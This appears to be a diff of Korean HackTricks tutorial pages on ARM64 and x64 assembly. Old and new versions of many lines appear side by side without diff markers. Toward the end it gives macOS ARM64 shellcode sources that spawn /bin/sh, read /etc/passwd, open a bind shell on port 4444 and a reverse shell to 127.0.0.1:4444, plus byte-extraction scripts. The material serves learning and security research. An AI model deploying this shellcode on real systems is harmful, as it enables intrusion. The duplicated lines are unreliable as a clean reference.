* 이는 **이전 `cmp``NE`였을 때만 `ccmp`가 실행**되며, 그렇지 않으면 비트 `nzcv`가 0으로 설정됨 (`blt` 비교를 충족하지 못함).
* 이는 `ccmn`으로도 사용할 수 있음 (`cmp` 대 `cmn`유사함).
* **`tst`**: 비교 값 중 어느 값이 1인지 확인함 (ANDS처럼 작동하지만 결과를 어디에도 저장하지 않음). 지정된 값의 레지스터를 확인하고 해당 값에 지정된 레지스터의 비트 중 어느 것이 1인지 확인하는 데 유용함.
* 예: `tst X1, #7` X1의 마지막 3비트 중 어느 것이 1인지 확인함
* **`teq`**: 결과를 버리는 XOR 연산
* **`b`**: 무조건적인 분기
* 예: `b myFunction`&#x20;
* 이는 링크 레지스터를 반환 주소로 채우지 않음 (되돌아야 하는 서브루틴 호출에 적합하지 않음)
* **`bl`**: 링크가 포함된 분기, **서브루틴을 호출**하는 데 사용됨. 반환 주소를 `x30` 저장함.
* 이는 링크 레지스터를 반환 주소로 채우지 않음 (되돌아야 하는 서브루틴 호출에 적합하지 않음)
* **`bl`**: **링크와 함께 분기**, **서브루틴을 호출**하는 데 사용됨. **`x30`에 반환 주소를 저장함.
* 예: `bl myFunction` — 이 명령은 `myFunction` 함수를 호출하고 반환 주소를 `x30`에 저장함.
* **`blr`**: 레지스터에 지정된 대상을 호출하는 링크가 포함된 분기, 반환 주소를 `x30`에 저장함. (이는&#x20;
* 이는 링크 레지스터를 반환 주소로 채우지 않음 (되돌아와야 하는 서브루틴 호출에 적합하지 않음)
* **`blr`**: **레지스터로 링크 분기**, **레지스터에 지정된** 대상을 **호출**하는 데 사용됨. 반환 주소를 `x30`에 저장함. (이는&#x20;
* 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장함.
* **`ret`**: **서브루틴**에서 **반환**, 일반적으로 **`x30`**에 있는 주소를 사용함.
* **`ret`**: **서브루틴에서 반환**, 일반적으로 **`x30`** 주소를 사용함.
* 예: `ret` — 이 명령은 현재 서브루틴에서 `x30`에 있는 반환 주소를 사용하여 반환함.
* **`b.<cond>`**: 조건부 분기
* **`b.eq`**: **동일한 경우 분기**, 이전 `cmp` 명령을 기반으로 함.
* 예: `b.eq label` — 이전 `cmp` 명령에서 두 값이 동일한 경우 `label`로 이동함.
* **`b.ne`**: **Equal이 아닌 경우 분기**. 이 명령은 조건 플래그를 확인하고(이전 비교 명령에 의해 설정됨), 비교된 값이 동일하지 않으면 레이블이나 주소로 분기합니다.
* 예: `cmp x0, x1` 명령 후, `b.ne label` — 만약 `x0``x1`의 값이 동일하지 않다면, `label`로 이동합니다.
* **`cbz`**: **0에 대해 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 동일하면 레이블이나 주소로 분기합니다.
* 예: `cbz x0, label` — 만약 `x0`의 값이 0이라면, `label`로 이동합니다.
* **`cbnz`**: **0이 아닌 경우 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 동일하지 않으면 레이블이나 주소로 분기합니다.
* 예: `cbnz x0, label` — 만약 `x0`의 값이 0이 아니라면, `label`로 이동합니다.
* **`tbnz`**: 비트 테스트하고 0이 아닌 경우 분기
* 예: `tbnz x0, #8, label`
* **`tbz`**: 비트 테스트하고 0인 경우 분기
* 예: `tbz x0, #8, label`
* **조건부 선택 연산**: 조건 비트에 따라 동작이 달라지는 연산들.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 참인 경우, X0 = X1, 거짓인 경우, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> 참인 경우, Xd = Xn, 거짓인 경우, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> 참인 경우, Xd = Xn + 1, 거짓인 경우, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> 참인 경우, Xd = Xn, 거짓인 경우, Xd = NOT(Xm)
* `cinv Xd, Xn, cond` -> 참인 경우, Xd = NOT(Xn), 거짓인 경우, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> 참인 경우, Xd = Xn, 거짓인 경우, Xd = - Xm
* `cneg Xd, Xn, cond` -> 참인 경우, Xd = - Xn, 거짓인 경우, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> 참인 경우, Xd = 1, 거짓인 경우, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> 참인 경우, Xd = \<all 1>, 거짓인 경우, Xd = 0
* **`b.ne`**: **같지 않으면 분기**. 이 명령은 조건 플래그를 확인하고(이전 비교 명령에 의해 설정됨), 비교된 값이 지 않으면 레이블이나 주소로 분기합니다.
* 예: `cmp x0, x1` 명령 후, `b.ne label` — 만약 `x0``x1`의 값이 지 않다면, `label`로 이동합니다.
* **`cbz`**: **0일 때 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 같으면 레이블이나 주소로 분기합니다.
* 예: `cbz x0, label` — 만약 `x0`의 값이 0이라면, `label`로 이동합니다.
* **`cbnz`**: **0이 아닐 때 비교하고 분기**. 이 명령은 레지스터를 0과 비교하고, 같지 않으면 레이블이나 주소로 분기합니다.
* 예: `cbnz x0, label` — 만약 `x0`의 값이 0이 아니라면, `label`로 이동합니다.
* **`tbnz`**: 비트 테스트하고 0이 아닐 때 분기
* 예: `tbnz x0, #8, label`
* **`tbz`**: 비트 테스트하고 0일 때 분기
* 예: `tbz x0, #8, label`
* **조건부 선택 연산**: 조건 비트에 따라 동작이 달라지는 연산들입니다.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 참이면 X0 = X1, 거짓이면 X0 = X2
* `csinc Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = Xm + 1
* `cinc Xd, Xn, cond` -> 참이면 Xd = Xn + 1, 거짓이면 Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = NOT(Xm)
* `cinv Xd, Xn, cond` -> 참이면 Xd = NOT(Xn), 거짓이면 Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> 참이면 Xd = Xn, 거짓이면 Xd = - Xm
* `cneg Xd, Xn, cond` -> 참이면 Xd = - Xn, 거짓이면 Xd = Xn
* `cset Xd, Xn, Xm, cond` -> 참이면 Xd = 1, 거짓이면 Xd = 0
* `csetm Xd, Xn, Xm, cond` -> 참이면 Xd = \<all 1>, 거짓이면 Xd = 0
* **`adrp`**: **심볼의 페이지 주소**를 계산하고 레지스터에 저장합니다.
* 예: `adrp x0, symbol``symbol`의 페이지 주소를 계산하고 `x0`에 저장합니다.
* 예: `adrp x0, symbol` 이 명령은 `symbol`의 페이지 주소를 계산하고 `x0`에 저장합니다.
* **`ldrsw`**: 메모리에서 **부호 있는 32비트** 값을 **로드**하고 64비트로 **부호 확장**합니다.
* 예: `ldrsw x0, [x1]``x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고 64비트로 부호 확장하여 `x0`에 저장합니다.
* 예: `ldrsw x0, [x1]` 이 명령은 `x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고 64비트로 부호 확장하여 `x0`에 저장합니다.
* **`stur`**: 레지스터 값을 메모리 위치에 **저장**, 다른 레지스터의 오프셋을 사용합니다.
* 예: `stur x0, [x1, #4]``x1`에 현재 있는 주소보다 4바이트 더 큰 메모리 주소에 `x0`의 값을 저장합니다.
* 예: `stur x0, [x1, #4]` 이 명령은 `x1`에 현재 있는 주소보다 4바이트 더 큰 메모리 주소에 `x0`의 값을 저장합니다.
* **`svc`** : **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면 **사용자 모드에서 커널 모드로 전환**하고, **커널의 시스템 호출 처리** 코드가 있는 메모리의 특정 위치로 이동합니다.
* 예:
* 예:
```armasm
mov x8, 93 ; 레지스터 x8에 종료(93) 시스템 호출 번호를 로드합니다.
mov x0, 0 ; 종료 상태 코드(0)를 레지스터 x0에 로드합니다.
mov x0, 0 ; 레지스터 x0에 종료 상태 코드(0)를 로드합니다.
svc 0 ; 시스템 호출을 수행합니다.
```
@ -258,15 +253,15 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
```
{% endcode %}
3. **리턴**: `ret` (링크 레지스터의 주소를 사용하여 호출자에게 제어를 반환)
3. **반환**: `ret` (링크 레지스터의 주소를 사용하여 호출자에게 제어를 반환)
## AARCH32 실행 상태
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 세트** 중 하나에서 실행될 수 있으며 **`A32`**와 **`T32`**로 구분되며 **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
**특권을 가진** 64비트 프로그램은 **32비트 프로그램의 실행을 스케줄링**할 수 있으며 이는 낮은 특권을 가진 32비트로 예외 수준 전환을 실행함으로써 이루어집니다.\
64비트에서 32비트로 전환은 예외 수준의 낮아짐으로 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, `SPSR_ELx`의 나머지 부분은 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음 특권 있는 프로세스는 **`ERET`** 명령을 호출하여 프로세서가 **`AArch32`**로 전환되 CPSR에 따라 A32 또는 T32로 진입합니다\*\*.\*\*
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 세트** 중 하나에서 실행할 수 있으며 **`A32`** 및 **`T32`**로 전환할 수 있습니다. **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
**특권을 가진** 64비트 프로그램은 **32비트 프로그램의 실행을 스케줄링**할 수 있습니다. 이는 낮은 특권을 가진 32비트로 예외 수준 전환을 실행함으로써 수행됩니다.\
64비트에서 32비트로 전환하는 것은 예외 수준의 낮아짐으로 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로** 설정하여 수행되며, `SPSR_ELx`의 나머지 부분은 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음 특권 있는 프로세스는 프로세서가 **`AArch32`**로 전환되도록 **`ERET`** 명령을 호출하여 CPSR에 따라 A32 또는 T32로 진입합니다\*\*.\*\*
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0``T=0`**`A32`**를 의미하며, `J=0``T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로 설정**하는 것을 의미합니다.\
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0``T=0`**`A32`**를 의미하며, `J=0``T=1`**T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로** 설정하는 것을 의미합니다.\
이는 **interworking 분기 명령어**를 통해 설정되지만, PC가 대상 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예시:
또 다른 예시:
@ -282,34 +277,34 @@ mov r0, #8
```
### 레지스터
32비트 레지스터가 16개 있습니다 (r0-r15). **r0부터 r14까지**는 **어떤 작업에도 사용**할 수 있지만, 일부는 일반적으로 예약되어 있습니다:
32비트 레지스터가 16개 있습니다 (r0-r15). **r0부터 r14까지**는 **어떤 작업**에도 사용할 수 있지만, 일부는 일반적으로 예약되어 있습니다:
- **`r15`**: 프로그램 카운터 (항상). 다음 명령의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
- **`r11`**: 프레임 포인터
- **`r12`**: 프로시저 호출 레지스터
- **`r12`**: 프로시저 내부 호출 레지스터
- **`r13`**: 스택 포인터
- **`r14`**: 링크 레지스터
또한, 레지스터는 **`은행 레지스`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 권한이 필요한 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있도록 하기 위한 곳입니다. 이는 예외가 발생한 프로세서 모드의 `CPSR`에서 프로세서 상태를 `SPSR`로 저장함으로써 수행됩니다. 예외가 반환되면 **`CPSR`**가 **`SPSR`**에서 복원됩니다.
또한, 레지스터는 **`은행 레지스트리`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있도록 하기 위한 곳입니다. 이는 예외가 발생한 프로세서 모드의 `CPSR`에서 프로세서 상태를 `SPSR`로 저장함으로써 수행됩니다. 예외가 반환되면 **`CPSR`**가 **`SPSR`**에서 복원됩니다.
### CPSR - 현재 프로그램 상태 레지스터
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예외가 발생하여 나중에 실행을 복원할 때 **`SPSR_ELx`**에도 저장됩니다:
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예외가 발생할 때 **`SPSR_ELx`**에 저장되어 나중에 실행을 복원합니다:
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
필드는 몇 가지 그룹으로 나뉩니다:
- 응용 프로그램 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
- 응용 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
- 실행 상태 레지스터: 프로세스 동작 (운영 체제에 의해 관리됨).
#### 응용 프로그램 프로그램 상태 레지스터 (APSR)
#### 응용 프로그램 상태 레지스터 (APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그 (AArch64와 동일)
- **`Q`** 플래그: 전문화된 포화 산술 명령을 실행하는 동안 **정수 포화가 발생할 때** 1로 설정됩니다. 한 번 **`1`**로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
- **`GE`** (이상 또는 동일) 플래그: SIMD (단일 명령, 다중 데이터) 작업에서 사용됩니다. "병렬 덧셈" 및 "병렬 뺄셈"과 같은 이러한 작업은 한 번에 여러 데이터 포인트를 처리할 수 있습니다.
- **`Q`** 플래그: 전문화된 포화 산술 명령 실행 중 **정수 포화가 발생할 때** 1로 설정됩니다. 한 번 **`1`**로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
- **`GE`** (이상 또는 같음) 플래그: SIMD (단일 명령, 다중 데이터) 작업에서 사용됩니다. "병렬 덧셈" 및 "병렬 뺄셈"과 같은 이러한 작업은 한 번에 여러 데이터 포인트를 처리할 수 있습니다.
예를 들어, **`UADD8`** 명령은 병렬로 바이트 네 쌍을 (두 32비트 피연산자에서) 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE` 플래그를 설정**합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
예를 들어, **`UADD8`** 명령은 병렬로 바이트 네 쌍을 (두 개의 32비트 피연산자에서) 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE`** 플래그를 설정합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
**`SEL`** 명령은 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
@ -318,7 +313,7 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
- **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며 **`T`**가 0이면 A32 명령 세트가 사용되고, 1이면 T32가 사용됩니다.
- **IT 블록 상태 레지스터** (`ITSTATE`): 이들은 10-15 및 25-26 비트입니다. **`IT`** 접두어 그룹 내의 명령에 대한 조건을 저장합니다.
- **`E`** 비트: **엔디안**을 나타냅니다.
- **모드 및 예외 마스크 비트** (0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 다른 4개는 현재 사용 중인 **예외 모드**를 나타냅니다 (예외가 발생하고 처리 중일 때). 숫자 세트는 이 처리 중에 다른 예외가 트리거될 경우 **현재 우선 순위**를 나타냅니다.
- **모드 및 예외 마스크 비트** (0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 다른 4개는 현재 사용 중인 **예외 모드**를 나타냅니다 (예외가 발생하고 처리 중일 때). 설정된 숫자는 이 처리 중에 다른 예외가 트리거될 경우 **현재 우선 순위**를 나타냅니다.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
@ -333,16 +328,16 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
{% endcode %}
{% hint style="success" %}
가끔은 **소스 코드**를 확인하는 것보다 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 더 쉬울 수 있습니다. 왜냐하면 여러 syscalls (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하세요) dylib에서는 무엇이 호출되는지 찾을 수 있습니다.
가끔은 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 **소스 코드**를 확인하는 것보다 쉬울 수 있습니다. 왜냐하면 여러 시스템 호출 (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하십시오), dylib에서는 무엇이 호출되는지 찾을 수 있습니다.
{% endhint %}
### machdep calls
### machdep 호출
XNU는 또 다른 유형의 호출인 machine dependent를 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출 또는 번호가 일정하지 않을 수 있습니다.
XNU는 또 다른 유형의 호출인 machine dependent를 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출 또는 번호가 일정하게 유지되는 것은 보장되지 않습니다.
### comm page
### comm 페이지
모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 더 빠르게 만들기 위해 사용됩니다. 이러한 전환은 매우 비효율적일 수 있습니다.
것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 사용자 모드에서 커널 공간으로의 전환을 시스템 호출을 사용하는 것보다 빠르게 만들기 위해 사용됩니다. 이러한 전환은 매우 비효율적일 수 있습니다.
예를 들어, `gettimeofdate` 호출은 `timeval`의 값을 comm 페이지에서 직접 읽습니다.
@ -353,10 +348,10 @@ Objective-C 또는 Swift 프로그램에서이 함수를 자주 찾을 수 있
매개변수 ([자세한 정보는 문서에서 확인](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> 인스턴스에 대한 포인터
* x1: op -> 메서드의 선택기
* x1: op -> 메서드의 셀렉터
* x2... -> 호출된 메서드의 나머지 인수
따라서이 함수로의 분기 전에 중단점을 설정하면 쉽게 lldb에서 호출된 내용을 찾을 수 있습니다 (이 예에서 객체가 `NSConcreteTask`의 객체를 호출하여 명령을 실행합니다).
따라서이 함수로의 분기 전에 중단점을 설정하면 lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다 (이 예에서 객체는 `NSConcreteTask`의 객체를 호출하여 명령을 실행합니다).
```
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -385,11 +380,18 @@ ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
바이트를 추출하려면:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
새로운 macOS를 위한:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
```
<details>
<summary>쉘코드를 테스트하는 C 코드</summary>
@ -445,7 +447,7 @@ return 0;
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용을 설명합니다.
{% tabs %}
{% tab title="with adr" %}
{% tab title="adr를 사용한 경우" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -462,7 +464,7 @@ sh_path: .asciz "/bin/sh"
```
{% endtab %}
{% 탭 제목="스택과 함께" %}
{% tab title="스택 사용" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -509,9 +511,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh"
```
#### cat로 읽기
#### cat로 읽기
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미합니다).
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -537,7 +539,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### sh를 사용하여 fork에서 명령을 호출하여 주 프로세스가 종료되지 않도록 함
#### 메인 프로세스가 종료되지 않도록 fork에서 sh를 사용하여 명령을 호출
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -581,9 +583,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Bind
#### 바인드
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)에서 **포트 4444**로 Bind
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)에서 **포트 4444**로 바인드
```armasm
.section __TEXT,__text
.global _main
@ -665,9 +667,9 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### 리버스
####
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 **127.0.0.1:4444**로의 revshell
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 revshell을 **127.0.0.1:4444**로 설정합니다.
```armasm
.section __TEXT,__text
.global _main
@ -736,14 +738,14 @@ svc #0x1337
```
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>

View file

@ -1,67 +1,67 @@
# Introduction to x64
# x64 소개
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요** <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR을 제출**하여 귀하의 해킹 기술을 공유하세요.
</details>
## **x64 소개**
x64 또는 x86-64은 주로 데스크 및 서버 컴퓨팅에서 사용되는 64비트 프로세서 아키텍처입니다. 인텔이 생산한 x86 아키텍처에서 기원하였으며 AMD가 AMD64라는 이름으로 채택한 후 현재 개인용 컴퓨터 및 서버에서 주로 사용되는 아키텍처입니다.
x64 또는 x86-64은 주로 데스크 및 서버 컴퓨팅에서 사용되는 64비트 프로세서 아키텍처입니다. 인텔이 생산한 x86 아키텍처에서 유래하였으며 AMD가 AMD64라는 이름으로 채택한 후 현재 개인 컴퓨터 및 서버에서 주요 아키텍처로 사용되고 있습니다.
### **레지스터**
x64는 x86 아키텍처를 확장하여 `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, `r8`에서 `r15`까지 라벨이 지정된 **16개의 범용 레지스터**를 제공합니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 이러한 레지스터는 호환성 및 특정 작업을 위해 32비트, 16비트 및 8비트 하위 레지스터도 가지고 있습니다.
x64는 x86 아키텍처를 확장하여 `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, 그리고 `r8`부터 `r15`까지 레이블이 붙은 **16개의 범용 레지스터**를 제공합니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 이러한 레지스터는 호환성 및 특정 작업을 위해 32비트, 16비트 및 8비트 하위 레지스터도 가지고 있습니다.
1. **`rax`** - 함수에서 **반환 값**으로 전통적으로 사용됩니다.
1. **`rax`** - 함수로부터의 **반환 값**으로 전통적으로 사용됩니다.
2. **`rbx`** - 메모리 작업의 **베이스 레지스터**로 자주 사용됩니다.
3. **`rcx`** - **루프 카운터**로 일반적으로 사용됩니다.
4. **`rdx`** - 확장된 산술 연산을 포함하여 여러 역할에 사용됩니다.
4. **`rdx`** - 확장된 산술 연산을 포함 여러 역할에 사용됩니다.
5. **`rbp`** - 스택 프레임의 **베이스 포인터**입니다.
6. **`rsp`** - 스택의 맨 위를 추적하는 **스택 포인터**입니다.
7. **`rsi`** 및 **`rdi`** - 문자열/메모리 작업에서 **소스****대상** 인덱스로 사용됩니다.
